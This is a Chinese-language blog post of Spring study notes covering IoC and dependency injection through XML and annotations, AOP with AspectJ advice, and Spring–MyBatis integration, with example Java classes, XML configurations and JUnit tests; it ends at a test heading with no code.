wubba lubba dub dub.
post @ 2024-02-22

Spring学习

1、Spring框架体系

2、 IOC

2.1 什么是IOC

IoC (Inversion of Control) : 控制反转, 是一个理论,概念,思想。把对象的创建,赋值,管理工作都交给代码之外的容器实现, 也就是对象的创建是有其它外部资源完成,这样做实现了解耦合。

正转:对象的创建、赋值等操作交由程序员手动完成,即使用类似new Xxx(Xxx Xxx)、Xxx.setXxx()语句完成对象的创建与赋值,缺点是一旦程序功能发生改变,涉及到的类就要修改代理,耦合度高,不便于维护和管理。
反转:对象的创建、赋值等操作交由代码之外的容器实现,有容器代替程序员完成对象的创建、赋值;且当程序功能发生变化时,只需要修改容器的配置文件即可。

java实现创建对象的方式有哪些

1、构造方法:new student()
2、反射
3、序列化
4、动态代理
5、容器:tomcat容器、ioc容器

容器创建对象的场景:在tomcat服务器启动时会实例化servletContext上下文对象;在发出请求时,相应的servlet对象也不是由开发人员进行实例化的,而是在tomcat内部由tomcat容器实例化的

2.3 基于配置文件的di实现

2.3.1 什么是di

DI(Dependency Injection) :依赖注入, 只需要在程序中提供要使用的对象名称就可以, 至于对象如何在容器中创建, 赋值,查找都由容器内部实现。
DI是ioc技术的实现方式(即容器如何创建对象这一问题的实现方式)

2.3.2 入门案例

使用ioc容器创建对象,调用对象的方法

2.3.3 环境搭建

创建maven项目,目前都是javase项目,推荐使用骨架,选择quickstart
加入maven依赖:分别是spring依赖、junit依赖
创建类(接口和它的实现类)
创建spring需要使用的配置文件
测试

maven依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<dependencies>  
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.13.1</version>
</dependency>

<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.2.3.RELEASE</version>
</dependency>

</dependencies>

接口和实现类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//接口
public interface SomeService {
void doSome();
}
//实现类
public class SomeServiceImpl implements SomeService {
//无参构造
public SomeServiceImpl() {
System.out.println("SomeServiceImpl类的无参构造执行了...");
}

@Override
public void doSome() {
System.out.println("执行了SomeServiceImpl的doSome()方法");
}
}

ioc配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">

<!--
声明bean(告诉spring要创建某个类的对象)
1、id:自定义名称,唯一值,spring通过该id的属性值找到对象
2、class:要创建类的全限定类名
3、下述的声明语句在spring底层类似与执行了以下代码:
SomeService service = new SomeServiceImpl();
4、对象的保存:
spring将对象保存到内部的map中,map.put(id值,对象)
map.put("someService",new SomeServiceImpl())
5、一个bean标签声明一个java对象
6、spring容器根据bean标签创建对象,尽管存在class属性相同的bean标签,只要是id值不同,
spring容器就会创建该class的对象
-->
<bean id="someService" class="com.mms.service.impl.SomeServiceImpl"/>
<bean id="someService2" class="com.mms.service.impl.SomeServiceImpl"/>

<!--
spring容器也可以创建非自定义类的对象,例如java.lang.String类的对象,只要指定了
class属性,spring容器就可以创建该类的对象
-->
<bean id="myString" class="java.lang.String"/>
</beans>

测试程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
//使用spring容器创建对象
@Test
public void test02() {
//1、指定spring配置文件的名称
String config = "beans.xml";
//2、创建表示spring容器的对象 ApplicationContext
//ClassPathXmlApplicationContext:表示从类路径中加载spring配置文件
ApplicationContext ac = new ClassPathXmlApplicationContext(config);
//3、从容器中获取对象
SomeService service = (SomeService)ac.getBean("someService");
//4、调用方法
service.doSome();
}

/**
* 测试spring容器创建对象的时机
* 在创建spring容器时,会创建配置文件中的所有对象
*/

@Test
public void test03() {
//1、指定spring配置文件路径
String config = "beans.xml";
//2、创建spring容器
ApplicationContext ac = new ClassPathXmlApplicationContext(config);

/**
* 测试输出结果:
* SomeServiceImpl类的无参构造执行了...
* SomeServiceImpl类的无参构造执行了...
* 验证了spring调用类的无参构造完成对象的创建
*/
}

//获取spring容器中java对象的信息
@Test
public void test04() {
String config = "beans.xml";
ApplicationContext ac = new ClassPathXmlApplicationContext(config);
//获取spring容器中对象的个数
int beansCount = ac.getBeanDefinitionCount();
System.out.println("spring容器中的对象个数="+beansCount);
//获取spring容器中对象的名称(即bean标签的id值)
String[] beansNames = ac.getBeanDefinitionNames();
for (String beanName : beansNames) {
System.out.println(beanName);
}
}

2.3.4 案例总结

spring配置文件中一个bean标签就代表一个对象,该对象有bean标签的id值唯一标识,从spring拿对象是使用getBean(“bean标签的id值”)
spring默认是使用类的无参构造来创建对象的

2.3.5 简单类型属性的赋值(set注入)

在入门案例的总结我们说过了spring容器默认是使用无参构造构造来实例化对象的,那么对象的属性必定为初始值,例如int类型为0,boolean类型为false等,那么当我们想使用相关属性进行操作时必然要手动使用set方法给属性赋值,那么有没有办法让容器帮我们完成对象属性的赋值呢?让我们直接就能够从容器中拿到有属性值的对象?答案是肯定的,下面就通过代码演示简单类型的属性赋值。

set注入要求

JavaBean必须要有set方法,因为ioc容器是使用javabean的set方法进行属性赋值的
spring容器调用的是setXxx()方法,而不管对象是否具有Xxx属性(即对象没有的属性只要有set方法也可以实现注入),Xxx不区分大小写

看看代码:

JavaBean

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class Student {
private String name;
private int age;
private School school;
public void setName(String name) {
this.name = name;
}
public void setAge(int age) {
this.age = age;
}
public void setSchool(School school) {
this.school = school;
}
@Override
public String toString() {
return "Student{" +
"name='" + name + '\'' +
", age=" + age +
", school=" + school +
'}';
}
}

spring配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!--声明Student对象-->
<bean id="student" class="com.mms.component.Student">
<!--
1、简单类型使用property和value标签给对象属性赋值
2、简单类型:8个基本类型+String
3、当spring容器加载到这一行时会在创建完对象的同时使用对象的set方法给属性赋值,底层
调用的是对象的set方法
4、spring容器调用的是setXxx()方法,而不管对象是否具有Xxx属性,Xxx不区分大小写
-->
<property name="name" value="张三"/>
<property name="age" value="23"/>
<!--测试对象没有属性的set方法-->
<property name="graName" value="s1"/>
</bean>

测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//使用set注入给对象属性赋值
@Test
public void test01() {
String config = "ba01/applicationContext.xml";
ApplicationContext ac = new ClassPathXmlApplicationContext(config);
//执行完14行此时Student对象的属性已被赋值,获取对象进行验证
Student stu = (Student) ac.getBean("student");
System.out.println(stu); //Student{name='张三', age=23}
}

//验证set注入调用的是对象的set方法
@Test
public void test02() {
String config = "ba01/applicationContext.xml";

/*
* 此时会调用set方法进行赋值
* setName...
* setAge...
*/
ApplicationContext ac = new ClassPathXmlApplicationContext(config);

}

//验证没有属性的setXxx方法是否报错
@Test
public void test03() {
String config = "ba01/applicationContext.xml";
ApplicationContext ac = new ClassPathXmlApplicationContext(config);
//获取对象
Student stu = (Student) ac.getBean("student");

}

2.3.6 非简单类型属性的赋值(set注入)

上文中的set注入使用property标签的name和value属性给对象属性赋值,但是value知识给简单类型属性赋值,对于非简单类型我们是使用property标签的name和ref属性给对象属性赋值。我们现在给Student类增加一个属性address,该属性是一个引用类型,那当ioc容器创建Student对象时如何给address属性赋值呢?

Student类:别的地方与上文的student类一致,这里只给出address属性和其set方法

1
2
3
4
5
6
//引用类型属性
private Address address;
public void setAddress(Address address) {
System.out.println("引用类型address的set方法执行了...");
this.address = address;
}

Address类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class Address {

private String homeAddress;
private String schoolAddress;

public void setHomeAddress(String homeAddress) {
this.homeAddress = homeAddress;
}

public void setSchoolAddress(String schoolAddress) {
this.schoolAddress = schoolAddress;
}

@Override
public String toString() {
return "Address{" +
"homeAddress='" + homeAddress + '\'' +
", schoolAddress='" + schoolAddress + '\'' +
'}';
}
}

applicationContext.xml配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!--声明Student对象-->
<bean id="student" class="com.mms.component.Student">
<property name="name" value="张三"/>
<property name="age" value="23"/>
<!--测试对象没有属性的set方法-->
<property name="graName" value="s1"/>
<!--
引用类型属性的set注入
property标签属性
name:属性名
ref:引用对象的id值
-->
<property name="address" ref="address"/>
</bean>

<!--Student对象的引用属性Address-->
<bean id="address" class="com.mms.component.Address">
<!--set注入-->
<property name="homeAddress" value="新疆"/>
<property name="schoolAddress" value="西安"/>
</bean>

上文执行流程分析:当ioc容器创建id为student的对象时,会进行set注入,当执行到最后一个property标签时发现使用了ref属性,则ioc容器知道了name为address的属性是非简单类型,它就会暂时跳过address属性的赋值以及Student对象的创建,转而去配置文件的下文去找bean标签id值等于ref属性值的对象,现将该对象创建,再将该对象赋值给之前的address属性并将Student对象创建。

2.3.7 构造注入

顾名思义,构造注入是使用javabean的构造方法进行属性的赋值的。与set注入一样,构造注入要求javabean必须提供构造方法,且必须是有参构造(如果是无参构造还怎么给属性赋值,对吧),构造注入使用较少,了解就可以了,我们一般使用set注入。看看代码吧,将Student类的set方法注释,加入构造方法,别的地方不用改变,只需要改变spring配置文件即可(这里就可以看出ioc容器与程序的解耦合的好处了)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!--
构造注入
1、使用constructor-arg标签完成构造注入
2、构造注入方式一:根据形参名字
3、构造注入方式二:根据形参顺序,默认下标从0开始递增
-->

<!--根据形参名构造注入,形参的出现顺序不是必须的-->
<bean id="student" class="com.mms.value.Student">
<constructor-arg name="name" value="李四"/>
<constructor-arg name="age" value="24"/>
<constructor-arg name="address" ref="address"/>
</bean>
<bean id="address" class="com.mms.value.Address">
<constructor-arg name="homeAddress" value="新疆"/>
<constructor-arg name="schoolAddress" value="西安"/>
</bean>

<!--构造注入,使用下标,出现的顺序没要求,因为已经通过下标绑定起来了-->
<bean id="diByContructor" class="com.mms.value.Student">
<constructor-arg index="0" value="赵六"/>
<constructor-arg index="1" value="26"/>
<constructor-arg index="2" ref="address"/>
</bean>

2.3.8 非简单类型的自动注入

对于非简单类型,我们在上面是使用ref属性指向一个非简单类型的对象来完成赋值的,那么当ioc容器每次给一个对象的非简单类型属性赋值时,就要在bean标签内部写一行ref这样的代码,这样会造成重复代码的大量堆积,可以使用引用类型的自动注入。

有两种方式的引用类型自动注入

byName形式的引用类型自动注入:
通过java对象引用类型的属性名与spring容器中bean标签对象的id值一样且数据类型是一致的,这样能够实现引用类型的自动注入
byType形式的引用类型自动注入
通过java对象引用类型属性的数据类型和spring容器中 bean标签的class属性值是同源关系;
常见的同源关系:
1)java引用类型属性数据类型和bean标签的class属性值数据类型一样
2)java引用类型属性数据类型和bean标签的class属性值数据类型是父子关系
3)java引用类型属性数据类型和bean标签的class属性值数据类型是接口和实现类关系
注意:在一个配置文件中,符合条件的同源关系只能有一个

下面通过配置文件来详细说明两种形式的实现,在这里还是以Student类的address属性为例来说明。

byName形式

1
2
3
4
5
6
7
8
9
10
<bean id="student" class="com.mms.ba03.Student" autowire="byName">
<!--简单类型赋值-->
<property name="name" value="张三"/>
<property name="age" value="23"/>
</bean>
<!--引用类型-->
<bean id="school" class="com.mms.ba03.School">
<property name="schoolName" value="石河子大学"/>
<property name="schoolAddress" value="石河子市"/>
</bean>

匹配详解: 当ioc容器在创建Student对象时,发现使用了autowire属性且属性值为byName,ioc容器就会去Student类中去拿引用类型的属性名与和spring配置文件中的bean标签的id值进行比对,若发现有一致的且数据类型一致,则将该对象赋值给引用类型属性。

byType形式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!--使用byType实现引用类型自动注入-->
<bean id="student2" class="com.mms.ba03.Student" autowire="byType">
<!--简单类型赋值-->
<property name="name" value="李四"/>
<property name="age" value="24"/>
</bean>
<!--引用类型
<bean id="school2" class="com.mms.ba03.School">
<property name="schoolName" value="西南大学"/>
<property name="schoolAddress" value="重庆市"/>
</bean>-->

<!--声明School的子类-->
<bean id="primarySchool" class="com.mms.ba03.PrimarySchool">
<property name="schoolName" value="西北大学"/>
<property name="schoolAddress" value="西安"/>
</bean>

2.4 基于注解的di实现

除了使用配置文件实现ioc创建对象的功能外,使用spring提供的注解也可以实现di。下面来介绍注解方式的di实现,下面是spring提供的di实现的常用注解。

@Component:该注解的功能是使用spring容器创建对象
1)、在要创建对象的类的声明上方加入该注解,该注解有一个属性value,value为spring创建的该类对象的id值
2)、开发中使用将value省略,直接使用双引号将值键入即可
3)、该注解使用类的无参构造创建对象
@Repository 创建dao类对象,访问数据库的对象
@Service 创建service类对象,业务层对象
@Controller 创建控制器对象,用于分发用户的请求和显示处理结果

下面通过代码来看看@Component注解是怎么实现di的。

1
2
3
4
@Component(value = "student")
public class Student {
...
}

该语句就等价为在spring配置文件中进行了以下声明

1
<bean id = "student" class = "com.mms.component.Student"/>

但是怎么让配置文件知道哪些类是使用注解进行创建对象的呢?需要在配置文件中声明组件扫描器

1
<context:component-scan base-package="com.mms.component"/>

当spring读取配置文件时,读取到组件扫描器声明语句时,就会去base-package指定的包和其子包下去递归的寻找有注解修饰的类,并根据注解的功能去执行相应的动作

2.4.1 简单类型的注解di实现

简单类型的注入使用@Value注解实现,哪些简单类型要设置属性值,直接在简单类型属性声明语句的上面加入注解@Value即可,并在@Value的括号内键入属性值,注意不论简单类型属性的数据类型,均由双引号将属性值括起来。例如之前的Student类使用注解注入如下。

1
2
3
4
5
6
7
@Component("student")
public class Student {
@Value("张三")
private String name;
@Value("23")
private int age;
}

注意别忘了该类要加注解@Component注解,因为要创建该类对象。

2.4.2 引用类型的注解di实现

引用类型的注入使用@Autowired注解完成。

@Autowired
@Autowired是spring提供的属性赋值,用于给引用类型赋值,有byName和byType两种方式,默认使用byType方式自动注入
若是要强制至于byName方式,要在@Autowired注解下面加入 @Qualifier(value = “bean的id”)注解,若程序在给引用类型注入时在xml文件中找不到 该id的bean标签或者手找不到该id的@Component注解,则报错;若不想让程序在赋值失败时报错,可以在@Autowired注解的required属性值置为false

还是拿Student类的school属性的赋值来举例。

学生类

1
2
3
4
5
6
7
8
9
10
11
@Component("student")
public class Student {
/*引用类型注入(byType方式)
@Autowired
private School school;*/

//引用类型赋值(byName方式)
@Autowired(required = false)
@Qualifier(value = "mySchool")
private School school;
}

School类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@Component("mySchool")
public class School {

//注入值
@Value("西南大学")
private String schoolAddress;
@Value("新疆")
private String homeAddress;

@Override
public String toString() {
return "School{" +
"schoolAddress='" + schoolAddress + '\'' +
", homeAddress='" + homeAddress + '\'' +
'}';
}
}

3、AOP

3.1 动态代理

3.1.1 jdk动态代理

使用jdk中的Proxy,Method,InvocaitonHanderl创建代理对象。 jdk动态代理要求目标类必须实现接口,关于细节本文就不赘述了。
要求:

必须要有接口
目标类必须实现接口(一个或多个)

3.1.2 cglib动态代理

第三方的工具库,创建代理对象,原理是继承。 通过继承目标类,创建子类。子类就是代理对象。 要求目标类不能是final的,方法也不能是final的

3.1.3 动态代理的好处

在目标类源代码不改变的情况下,增加功能。
减少代码的重复
专注业务逻辑代码
解耦合,让你的业务功能和日志,事务等非业务功能分离。

3.2 什么是AOP

面向切面编程, 基于动态代理的,可以使用jdk,cglib两种代理方式。Aop就是动态代理的规范化, 把动态代理的实现步骤,方式都定义好了, 让开发人员用一种统一的方式,使用动态代理实现。

3.2.1 AOP常用术语

Aspect: 切面,给你的目标类增加的功能,就是切面。 像日志,事务都是切面。切面的特点: 一般都是非业务方法,独立使用的。
JoinPoint:连接点 ,连接业务方法和切面的位置。需要给哪个方法增加切面,这个方法就是连接点。
Pointcut : 切入点 ,指多个连接点方法的集合。
目标对象: 给哪个类的方法增加功能, 这个类就是目标对象。
Advice:通知,通知表示切面功能执行的时间。

3.2.2 切面的构成

切面就是要给别的方法进行增强的方法,一个切面有以下三个要素。

切面的功能代码,切面干什么
切面的执行位置,使用Pointcut表示切面执行的位置
切面的执行时间,使用Advice表示时间,在目标方法之前,还是目标方法之后。

3.3 使用aspectJ框架实现AOP

3.3.1 aspectJ简介

aspectJ是一个开源的专门做aop的框架。spring框架中集成了aspectj框架,通过spring就能使用aspectj的功能。aspectJ框架实现aop有两种方式:

使用xml的配置文件 : 配置全局事务
使用注解,我们在项目中要做aop功能,一般都使用注解, aspectj有5个注解。
再使用aspectJ做aop之前要先加入aspectJ依赖。

1
2
3
4
5
6
<!--aspectJ依赖-->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aspects</artifactId>
<version>5.2.5.RELEASE</version>
</dependency>

3.3.2 @Before前置通知

前置通知注解修饰的切面在连接点方法之前执行。下面通过一段代码体验一下。

声明接口IService

1
2
3
public interface IService {
void doSome(String name, int age);
}

声明实现类ServiceImpl

1
2
3
4
5
6
public class ServiceImpl implements IService {
@Override
public void doSome(String name, int age) {
System.out.println("===doSome()===");
}
}

声明切面
切面类需要在顶部注解@Aspect 同时在xml文件中也要注册并加入<aop:aspect-autoproxy/>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@Aspect
public class MyAspectJ {

/**
* 定义功能增强方法(方法就是切面)
* 1、方法的必须为public
* 2、方法无返回值
* 3、方法名称自定义
* 4、方法可以有参数,也可以没有参数
* 5、方法的定义上方加入注解,表示切入点的执行时机

@Before(value = "execution(public void com.mms.ba01.ServiceImpl.doSome(String,int))")
public void beforeLog() {
System.out.println("前置通知->系统当前时间:" + new Date());
}
*/

/*
前置通知,带方法参数的切面
切面方法有参数时要求参数是JoinPoint类型,参数名自定义,该参数就代表了连接点方法,即doSome方法
使用该参数可以获取切入点表达式、切入点方法签名、目标对象等
*/
@Before(value = "execution(* *..ServiceImpl.doSome(..))")
public void beforeLog(JoinPoint jp) {
System.out.println("连接点方法的方法签名="+jp.getSignature());
System.out.println("连接点方法的方法名="+jp.getSignature().getName());
//获取连接点方法参数
Object[] args = jp.getArgs();
for (Object arg : args) {
System.out.println("arg="+arg);
}
}
}

测试

1
2
3
4
5
6
7
8
9
10
11
12
13
public class MyTest {
//aop前置通知
@Test
public void test01() {
String config = "ba01/applicationContext.xml";
ApplicationContext ac = new ClassPathXmlApplicationContext(config);
//获取目标对象,此时的service就是spring生成的代理对象
//注意返回值类型是接口类型,不能是实现类接口,否则报错
IService service = (IService) ac.getBean("service");
//使用代理对象执行方法
service.doSome("张三",23);
}
}

3.3.3 @AfterReturning后置通知

在IService接口中新增方法:

1
Student doStudent(Student student);

在ServiceImpl实现doStudent方法

1
2
3
4
@Override
public Student doStudent(Student student) {
return student;
}

切面类代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
@Aspect
public class MyAspectJ {
/**
* @AfterReturning: 后置通知,在连接点方法执行之后执行后置通知方法
* 方法定义格式:
* 1、公共方法
* 2、没有返回值
* 3、方法名称自定义
* 4、与前置通知一样,可以有JoinPoint类型参数,该参数表示连接点方法对象;还可以有一个
* Object类型参数,用于接收连接点方法的执行结果,注意该参数的参数名必须与切入点表达式
* 的returning属性的属性值一致,表示将returning属性值赋给Object对象
*/
/*@AfterReturning(value = "execution(* *..ServiceImpl.doOther(..))", returning = "obj")
public void afterTransaction(JoinPoint jp, Object obj) {
System.out.println("doOther方法的返回参数="+obj);
System.out.println("事务已提交...");
经过验证:在后置通知切面内不能改变连接点方法的返回值
}*/

@AfterReturning(value = "execution(* *..ServiceImpl.doStudent(..))", returning = "obj")
public void afterTransaction(JoinPoint jp, Object obj) {
System.out.println(obj);
Student student = new Student();
student.setName("李四");
student.setAge(24);
obj = student;
System.out.println("===查看是否改变了连接点方法的返回值==="+obj);
/*
经过验证:在后置通知切面内不能改变连接点方法的返回值
*/
}
}

3.3.4 @Around环绕通知(功能最强的通知)

环绕通知是功能最强的通知,它的本质就是jdk动态代理,他可以在连接点方法之前和之后都可以执行,最厉害的是他可以改变连接点方法的执行结果(返回结果)。还是拿上面的doStudent(Student student)方法来说明,经过验证前置通知和后置通知都不能改变doStudent(Student student)方法的返回值。下面看一下环绕通知是如何做的。

切面类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
@Aspect
public class MyAspectJ {

/*
环绕通知:@Around(切入点表达式)
1、环绕通知是最重要的一个通知,他表示在连接点方法的前或者后都可以执行,它的本质就是jdk动态代理的invoke
方法的method参数
2、定义格式
a、public
b、必须有返回值,类型为Object

*/
@Around(value = "pointCut()")

/*
再次回忆一下jdk动态代理的invoke方法的定义
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
是不是感觉与下面的方法定义眼熟啊,没错,环绕通知切面的定义实质上就是jdk动态代理
*/
public Object around(ProceedingJoinPoint pj) throws Throwable {
System.out.println("环绕通知在连接点方法之前执行了...");
Object result = null;
result = pj.proceed();
Student student = new Student();
student.setName("李四");
student.setAge(24);
//改变连接点方法返回值
result = student;
System.out.println("事务已提交...");
return result;
}

/*
使用pointcut管理切面表达式
1、在一个切面类中,若多个切面的切面表达式均为同一个,每次都要写重复的代码,此时就可以使用pointcut来
管理切面表达式了
2、定义格式:
公共public
无返回值
无参数
*/
@Pointcut(value = "execution(* *.doStudent(..))")
public void pointCut() {
//空方法体
}
}

4、整合mybatis

3.1 梳理整合思路

所谓的spring整合mybatis就是把两者集成在一起,就像使用一个框架一样。

mybatis框架开发步骤

定义mapper接口,定义方法
定义mapper.xml映射文件
创建mybatis核心配置文件
创建SqlSession对象,使用该对象生成mapper接口的代理对象执行方法

spring整合mybatis的核心就是把mybatis开发用到的对象交由spring容器ioc来创建,这样就做到了整合的目的。
在开发中,我们一般不使用mybatis自带的数据源,而是使用别的数据源,比如c3p0,dbcp等,本人使用的是阿里的druid数据源。

4.2 整合实现

4.2.1 环境搭建

导入相关依赖:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<dependencies>
<!--单元测试-->
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<!--spring核心ioc-->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.2.5.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-jdbc</artifactId>
<version>5.2.5.RELEASE</version>
</dependency>
<!--mybatis依赖-->
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.1</version>
</dependency>
<!--mybatis和spring集成的依赖-->
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis-spring</artifactId>
<version>1.3.1</version>
</dependency>
<!--mysql驱动-->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.9</version>
</dependency>
<!--阿里公司的数据库连接池-->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>druid</artifactId>
<version>1.1.12</version>
</dependency>
</dependencies>

<build>
<!--目的是把src/main/java目录中的xml文件包含到输出结果中。输出到classes目录中-->
<resources>
<resource>
<directory>src/main/java</directory><!--所在的目录-->
<includes><!--包括目录下的.properties,.xml 文件都会扫描到-->
<include>**/*.properties</include>
<include>**/*.xml</include>
</includes>
<filtering>false</filtering>
</resource>
</resources>
<!--指定jdk的版本-->
<plugins>
<plugin>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.1</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
</plugins>
</build>

重点是注意resources标签的配置,很多人都是在这里出错导致程序运行报错找不到mapper.xml文件

4.2.2 案例

本案例从student表中查询学生和新增学生功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
实体类Student
public class Student {
private int stuNo;
private String stuName;
private int cardID;
private int classID;
public Student() {
}
public Student(int stuNo, String stuName, int cardID, int classID) {
this.stuNo = stuNo;
this.stuName = stuName;
this.cardID = cardID;
this.classID = classID;
}
public int getStuNo() {
return stuNo;
}
public void setStuNo(int stuNo) {
this.stuNo = stuNo;
}
public String getStuName() {
return stuName;
}
public void setStuName(String stuName) {
this.stuName = stuName;
}
public int getCardID() {
return cardID;
}
public void setCardID(int cardID) {
this.cardID = cardID;
}
public int getClassID() {
return classID;
}
public void setClassID(int classID) {
this.classID = classID;
}
@Override
public String toString() {
return "Student{" +
"stuNo=" + stuNo +
", stuName='" + stuName + '\'' +
", cardID=" + cardID +
", classID=" + classID +
'}';
}
}

mapper接口

1
2
3
4
5
6
public interface StudentMapper {
//查询全部
List<Student> queryAll();
//新增学生
void addStudent(Student student);
}

mapper.xml映射文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.mms.mapper.StudentMapper">

<!--查询全部-->
<select id="queryAll" resultType="Student">
select * from student
</select>

<!--新增学生-->
<insert id="addStudent" parameterType="Student">
insert into student (stuno,stuname,cardid,classid)
values (#{stuNo},#{stuName},#{cardID},#{classID})
</insert>
</mapper>

service接口

1
2
3
4
public interface IStudentService {
List<Student> queryAll();
void addStudent(Student student);
}

service实现类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class StudentServiceImpl implements IStudentService {
//mapper属性
private StudentMapper mapper;
//set注入给mapper对象赋值
public void setMapper(StudentMapper mapper) {
this.mapper = mapper;
}

@Override
public List<Student> queryAll() {
return mapper.queryAll();
}

@Override
public void addStudent(Student student) {
mapper.addStudent(student);
}
}

mybatis核心配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE configuration
PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
<configuration>
<typeAliases>
<!--
批量设置别名,会自动的将该包下的所有类定义了别名,别名就是其自身且不区分大小
-->
<package name="com.mms.entity" />
</typeAliases>
<!--加载映射配置文件-->
<mappers>
<mapper resource="com/mms/mapper/studentMapper.xml"></mapper>
</mappers>
</configuration>

在这里由于数据源对象我们是交由spring容器托管了,因此mybatsi核心配置文件中就没有environments标签了。

spring配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd">

<!--加载数据库配置文件-->
<context:property-placeholder location="classpath:db.properties"/>
<!--声明数据源-->
<bean id="myDataSource" class="com.alibaba.druid.pool.DruidDataSource" init-method="init" destroy-method="close">
<!--set注入给数据库信息赋值,不需要指定驱动类,sprinf根据url自动识别
<property name="url" value="jdbc:mysql://localhost:3306/test?characterEncoding=utf8&amp;useSSL=true&amp;serverTimezone=UTC"/>
<property name="username" value="root"/>
<property name="password" value="333"/>-->

<!--使用db配置文件读取数据库信息,格式类似el表达式-->
<property name="url" value="${url}"/>
<property name="username" value="${username}"/>
<property name="password" value="${password}"/>
</bean>

<!--声明的是mybatis中提供的SqlSessionFactoryBean类,这个类内部创建SqlSessionFactory的-->
<bean id="sqlSessionFactory" class="org.mybatis.spring.SqlSessionFactoryBean">
<!--set注入赋值-->
<!--set注入,把数据库连接池付给了dataSource属性-->
<property name="dataSource" ref="myDataSource" />
<!--mybatis主配置文件的位置
configLocation属性是Resource类型,读取配置文件
它的赋值,使用value,指定文件的路径,使用classpath:表示文件的位置
-->
<property name="configLocation" value="classpath:mybatis-config.xml" />
</bean>

<!--创建dao对象,使用SqlSession的getMapper(StudentDao.class)
MapperScannerConfigurer:在内部调用getMapper()生成每个dao接口的代理对象。
-->
<bean class="org.mybatis.spring.mapper.MapperScannerConfigurer">
<!--指定SqlSessionFactory对象的id-->
<property name="sqlSessionFactoryBeanName" value="sqlSessionFactory" />
<!--指定包名, 包名是dao接口所在的包名。
MapperScannerConfigurer会扫描这个包中的所有接口,把每个接口都执行
一次getMapper()方法,得到每个接口的dao对象。
创建好的dao对象放入到spring的容器中的。 dao对象的默认名称是 接口名首字母小写
-->
<property name="basePackage" value="com.mms.mapper"/>
</bean>

<!--声明service-->
<bean id="studentServiceImpl" class="com.mms.service.impl.StudentServiceImpl">
<property name="mapper" ref="studentMapper"/>
</bean>
</beans>

数据库配置文件

1
2
3
url = jdbc:mysql://localhost:3306/Xxx?characterEncoding=utf8&useSSL=true&serverTimezone=UTC
username = Xxx
password = Xxx

测试

1
2
3
4
5
6
7
8
9
10
